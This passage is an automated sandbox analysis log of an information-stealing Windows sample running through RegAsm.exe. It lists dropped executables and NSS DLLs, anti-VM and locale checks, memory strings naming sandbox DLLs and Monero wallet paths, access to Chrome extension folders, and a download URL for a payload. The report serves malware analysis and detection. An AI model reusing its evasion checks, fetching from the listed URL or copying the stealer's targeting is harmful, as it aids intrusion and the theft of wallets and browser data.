Source: userHJEBGHIEBF.exe.2.dr	Static PE information: section name: .text entropy: 7.995225395636529
Source: ljhgfsd[1].exe.2.dr	Static PE information: section name: .text entropy: 7.995225395636529
Source: HDGCAAFBFB.exe.8.dr	Static PE information: section name: .text entropy: 7.995225395636529

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vdshfd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ljhgfsd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\HDGCAAFBFB.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vdshfd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userKECGDBFCBK.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ljhgfsd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\AFBFHDBKJE.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userHJEBGHIEBF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\HDGCAAFBFB.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\AFBFHDBKJE.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_00419860

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 6.2.userKECGDBFCBK.exe.3925570.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.userKECGDBFCBK.exe.3925570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1906224894.0000000003925000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: userKECGDBFCBK.exe PID: 5828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1800, type: MEMORYSTR

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_2-71512

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe	Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe, 00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL20:41:3120:41:3120:41:3120:41:3120:41:3120:41:31DELAYS.TMP%S%SNTDLL.DLL
Source: RegAsm.exe	Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe	Binary or memory string: API_LOG.DLL

Source: C:\Users\user\Desktop\file.exe	Memory allocated: F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2960000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: FB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Memory allocated: 2740000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Memory allocated: 2920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Memory allocated: 2740000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Memory allocated: C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Memory allocated: 2680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Memory allocated: 25A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\HDGCAAFBFB.exe	Memory allocated: 3180000 memory reserve \| memory write watch
Source: C:\ProgramData\HDGCAAFBFB.exe	Memory allocated: 3230000 memory reserve \| memory write watch
Source: C:\ProgramData\HDGCAAFBFB.exe	Memory allocated: 5230000 memory reserve \| memory write watch
Source: C:\ProgramData\AFBFHDBKJE.exe	Memory allocated: 2DB0000 memory reserve \| memory write watch
Source: C:\ProgramData\AFBFHDBKJE.exe	Memory allocated: 3010000 memory reserve \| memory write watch
Source: C:\ProgramData\AFBFHDBKJE.exe	Memory allocated: 2E20000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened / queried: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ljhgfsd[1].exe			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened / queried: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ljhgfsd[1].exe			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

8_2_0040180D

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\HDGCAAFBFB.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\AFBFHDBKJE.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 7.7 %

Source: C:\Users\user\Desktop\file.exe TID: 5816	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe TID: 6640	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe TID: 2564	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\HDGCAAFBFB.exe TID: 1188	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5904	Thread sleep time: -30000s >= -30000s
Source: C:\ProgramData\AFBFHDBKJE.exe TID: 1464	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 3384	Thread sleep count: 87 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

8_2_00410DDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	2_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	2_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	2_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DE10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	8_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose,	8_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	8_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	8_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	8_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	8_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	8_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	8_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	8_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	8_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	8_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

8_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00401160 GetSystemInfo,ExitProcess,

2_2_00401160

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\HDGCAAFBFB.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\AFBFHDBKJE.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: RegAsm.exe, 00000002.00000002.2274325888.000000002E4B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: https://dbsmena.com/ljhgfsd.exev
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: https://dbsmena.com/ljhgfsd.exeba*
